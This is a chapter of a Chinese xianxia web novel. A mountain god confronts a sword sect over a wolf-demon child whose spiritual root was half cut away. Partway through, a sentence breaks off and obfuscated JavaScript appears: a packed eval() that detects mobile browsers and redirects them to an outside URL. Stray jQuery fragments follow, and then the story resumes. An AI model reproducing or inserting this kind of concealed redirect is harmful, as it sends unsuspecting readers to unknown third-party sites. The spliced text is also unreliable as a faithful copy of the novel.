闻人声还没到学会藏住情绪的年纪,和慕很快就发现了他的异样。
他侧过脸看向身后,那个毛茸茸的脑袋正靠着他的后腰,两只手紧紧攥着他的衣摆,身体发着抖。
和慕微微皱眉,下意识伸出手想摸他的头,可动作刚做了一半又犹豫着收回了。
“闻人声,”他转而问道,“你怎么了?”
闻人声抿了抿唇,也不抬头,只是小声地说:“我之前,好像来过这里。”
归一剑宗,闻人声三年前来过。
当然不是他自愿来的,而是被尘敛绑架过来的,若不是当时闻人声跑的及时,他险些就要被尘敛炼成洗净灵根的丹药了。
那时候年纪太小,具体的事情闻人声也记不大清了,印象最深的就是尘敛就扯着他的尾巴,骂了他好几句“丧家犬”。
闻人声很讨厌这个词,但每每听到又忍不住感到难过。
他的确没有家,没有人为他撑腰,这一点尘敛没有说错。
和慕瞥了一眼在地上磕头的尘敛,压低声问道:“这里的人欺负过你?”
闻人声点点头,又摇摇头。
“只有尘敛欺负我。”
和慕摸着下巴思索片刻,又试探着问道:“只有他?还有没有别人知道?”
闻人声如实回答:“不记得了。”
听完闻人声的陈述,和慕心头浮上一丝不快,他暗啧一声,用能杀人的眼神朝尘敛剜去,似乎在琢磨着砍死这杂碎能加多少功德。
对小孩这等毒手,要是换作以前,和慕的剑已经往尘敛脖子上去了。
闻人声没有注意到和慕的眼神,他深深呼吸了两口,似乎努力将自己恐惧的情绪给压下了。
山神在这里,不会有事的。
他默默对自己说。
刚刚和慕亲口说了,自己是芳泽山的人,是他的人,受他的庇护。
闻人声也不想放弃好不容易遇到的家人,这点小恐惧,还是努力克服一下吧。
一想到“家”,闻人声的负面情绪瞬间扫空,他仰头看向和慕,主动勾住了他的小拇指。
“好了,我没事了。”
他冲和慕粲然一笑,眼睛眯成了弯弯一线,努力提着气说道,
“你要做什么,我可以陪你,我们并肩作战。”
和慕听到这话,从尘敛身上收回杀意,注意力转移到了闻人声身上。
说起来……刚刚他就觉得有点奇怪了。
方才在雪山上,他好歹也显露过神格了,为什么这小孩一点儿都不怕他?
明明法力弱到堪称可爱的地步了。
嘶……莫非,是深藏不露?
他其实是某位天庭同僚的转生之人,拥有更强大的神格,所以才没显露出畏惧?
!
和慕神色一凛,立刻用审视的目光扫向闻人声,上下打量了一番。
这么一想,确实奇怪。
闻人声的皮肤细滑白嫩,分明像富贵人家养出来的,可身上的衣物残破到不像话,有故意伪装的嫌疑。
还有身后那条尾巴的影子,一直都没藏干净,还口口声声强调自己是“人类”,这世上哪有这么笨的妖怪?
太可疑了。
和慕越想越觉得诡异,他皱起眉,伸手想去提闻人声的衣领,准备拷问一番。
然而动作只做到一半,就对上了闻人声的目光。
满脸无害的小孩全然不知他的心思,只是冲他眨眨眼,眼底盛放出纯澈无垢的光芒,差点闪到和慕。
“……”
算了,应该不可能。
和慕看着闻人声脏兮兮的小脸,收回手扶着额,叹了口气。
“我在乱想什么呢……”
一旁的闻人声等了好一会儿,和慕都没有下一步动作。
他疑惑地歪了歪头,正要张口问些什么,面前的和慕便抬手擦去了他脸颊上的一块灰尘。
“太像乞丐了,”和慕皱眉道,“一会儿带你换身衣服。”
啊,被嘲笑了!
闻人声睁大了眼睛,低头看了看自己杏黄色的布衫。
有这么不堪入目吗?
虽然他确实想装得可怜一些,但还不至于真的到乞丐的地步吧!
“一点也不像。”
闻人声不高兴地嘟囔了一句。
和慕笑了一声,顺手揉了一把他的头发。
手感意外地不错,像在摸一团绒球。
*
二人说话的空档里,尘敛又失血过多晕了过去。
宗门内的修士们也总算注意到了门口的动静,纷纷把目光投向这里。
闻人声见状,赶紧轻咳两声,整理了一下自己破破烂烂的衣服。
他以后也是要入仙门修道的,提前跟自己的同道中人会面,当然需要正式一点,就像山神那样……
这样想着,他抬头偷看了一眼和慕。
可出人意料地,山神并没有自己想象中的那么认真。
他抱着臂,身后的披风半拉拉地拖在地上,整个人相当懒散地倚靠在门框边,一副连眼睛都不想睁开的样子。
闻人声大惊失色。
怎么这样!
还没震惊完,宗门内就匆匆跑来一个挽着头发的蓝袍修士,恭敬地朝和慕行了个礼,问道:
“这位道长,有何时要寻剑宗中人吗?”
闻人声有点不开心,这个人只朝和慕行礼了,并没有注意到站在和慕旁边的他。
难道……是站姿的问题?
于是闻人声学着和慕的样子抱起手臂,努力把嘴角往下撇,一边拼命踮着脚尖,想让修士注意到自己。
可惜这番努力还是无果,他实在是太矮了,就那么小小一个。
和慕倒是注意到了他的小动作,他没有直接回答修饰的话,反而似笑非笑地看着他,头往闻人声的方向偏了偏。
“嗯?”
修士这才顺着他的目光看见了一旁的闻人声——
还有地上鲜血淋漓、不省人事的尘敛。
“啊!”修士脸吓得煞白,惊叫一声,“这这这、这不是……尘敛师弟吗?”
和慕这才缓缓道出目的:“我要寻他的师父,叫无涤。”
那修士一边蹲下身子扶起尘敛,一边焦急质问道:“是谁把他伤成这样的?是你吗?!为何如此伤人!”
和慕俯下身,手搭在闻人声肩上,笑盈盈问道:
“那你觉得是他做的吗?”
修士的目光这才落到这相貌纯良的小孩身上。
“开什么玩笑,这小孩——”
说了一半,修士又戛然而止,重新审视了一遍闻人声。
不对,仔细一看,这小孩的表情怎么这么凶狠?莫非是嫉妒尘敛师兄功法大长,所以误入邪修走火入魔,身体退化成了幼童的样子,但心性依旧如蛇蝎般歹毒,伺机报复了小师弟?!
修士瞬间脑补出了闻人声的身份,神色大变。
“你、你你你……”他指着闻人声的鼻子,颤声道,“你这歹人!竟恶毒至此!”
闻人声轻哼一声,冷酷地说:“我不是呆人,我是聪明人。”
修士被他这回答吓了一跳,赶紧退后护住了尘敛的脑袋,目光恐慌地在和慕和闻人声之间来回飘动。
“师……师父!”
最后,修士抱着尘敛的头,朝道场的方向大喊起来。
“有人杀进来了,小师弟快不行了!”
什么不行了?
刚刚不还活着吗?
闻人声面露疑惑,刚想上去探尘敛的气息,便被一个力道给拽了回来。
“脏,别去摸,”和慕皱了皱眉,把闻人声护到身后,“待我后面。”
闻人声迟钝地点点头,握住了和慕的一根手指。
剑宗的人来得很快,闻人声大致张顾了两眼,打头的是个中年男子,穿着和修士一样的道袍,两道浓眉倒竖,步子迈得极为夸张,像只发火的公鸡。
公鸡见到尘敛的伤势,双目瞪大,不可思议地看看闻人声,又看看和慕。
“你们是什么人?!”
刚刚这个修士喊他师父,难道他就是那个“无敌长老”?
看着也不是很无敌嘛,完全没有山神那么帅。
闻人声轻哼了一声,骄傲地挺直了些身板。
和慕并没有被他们无礼的质问惹怒,也没做出多尊重的样子,他照样倚着门框,目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457134|185282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光漫不经心地落到无涤身上。
“你是他师父,无涤?”
无涤瞪着眼斥道:“毛头小子,你我无冤无仇,何故伤我弟子?”
和慕对这句“毛头小子”不予置评,他换了条腿搭着,继续说:“你徒弟先伤了我的人,这笔帐怎么算?”
无涤闻言,飞快地瞥了一眼闻人声,眼底闪过一丝心虚。
和慕立刻捕捉到他的眼神,直接戳穿:“看他干什么,我说伤的是他了?”
无涤眼睛瞪得更大了,怒道:“不是他,那你带他来做什么?”
“我、我我我……我告诉你,少在这里搬弄是非!剑宗不是散修能来踏足的地方!”
一旁的修士也开始帮腔:“就是啊,带着你儿子滚一边去!”
和慕本想反驳那句“散修”,可转念一想自己如今确实无门无派,被称为“散修”也没什么问题。
于是他转而揽住闻人声的肩,淡定解释道:“他不是我儿子,我们是战友。”
闻人声抬起下巴重复道:“战友!”
众修士闻言,顿时面面相觑。
“……”
“……谁问了?”
“随便是不是你儿子,总之这里不欢迎无名散修,快滚!”
几名修士顿时又炸了锅似地吵嚷起来,山门处的人也越聚越多,几乎站满了半个道场。
一群人自发地同仇敌忾起来,声音像黄蜂一样在闻人声耳边嘤嘤绕绕个不停。
闻人声听了没几句,头就有点晕了,身体也有些发软。
糟了!
闻人声暗道不妙。
已经快饿晕过去了!
肚子咕咕叫个不停,让他的注意力很难集中。
他摸了摸肚子,正琢磨着等会儿去哪里弄些吃食来,鼻子便恰到好处地嗅到了一丝肉香,似乎是从道场传来的气味。
他循香望过去,果然见到不远处有条年纪很大的狗,它旁边摆着一个小碟,里面盛着好几个热乎乎的包子。
闻人声忍不住咽了咽口水。
反正他们在说话,偷偷去拿一个吃……也没关系吧?
想要当大侠,学习厉害的法术,不填饱肚子怎么行呢?
他慢慢松开了握住和慕的手,悄无声息地跨过了剑宗的门槛。
*
手指上的温度一消失,和慕就发现了闻人声的动静。
他用余光瞧了一眼闻人声,这小孩两眼放光地看着不远处的包子,一副馋得要流口水的样子。
……还是个贪嘴的小狼妖。
和慕无声地叹了口气。
不过,这样也省心了不少。
他没有出声阻止,只随意瞧了一眼,接着就从腰间抽出了色杀。
修士一见他的动作,顿时又闹哄哄起来。
“喔喔喔!”
“他拿剑了!”
“快,准备掩护师弟和长——”
噗嗤!
没等那群修士反应过来,只听一声剑鸣,色杀眨眼就刺入了无涤的左肩。
!!
无涤浑身的经络瞬间被麻痹,他怒睁双目,猛地咳出一口血。
“咳咳!”
他勉强仰起脖颈,不可思议地瞪着和慕。
“你……!”
这一剑,不论是力度还是出剑的速度,皆是高下立见,压根没人能反应过来。
这个“散修”的境界绝不止化神期。
一时所有人都凝住了呼吸,道场霎时鸦雀无声。
“我说了,没那么多时间陪你们耗。”
和慕神色如常,他慢腾腾地拔出剑甩了甩。
“我来你们这儿,只问一件事。”
和慕侧过头又瞧了一眼闻人声,这小孩踩着步子,终于小心翼翼地腾挪到了那碟包子附近。
动作谨小慎微,像只干坏事的小笨狗。
和慕收回目光,望向无涤和一众修士,眼瞳的底色慢慢泛起赤金色。
“那个孩子身上的灵根有残缺,我探了脉息,是被人剖去了一半。”
他淡声说着,身遭却慢慢涌起游蛇般阴鸷的杀意,慢条斯理地盘上了众人的脖颈。
“你们,谁做的?”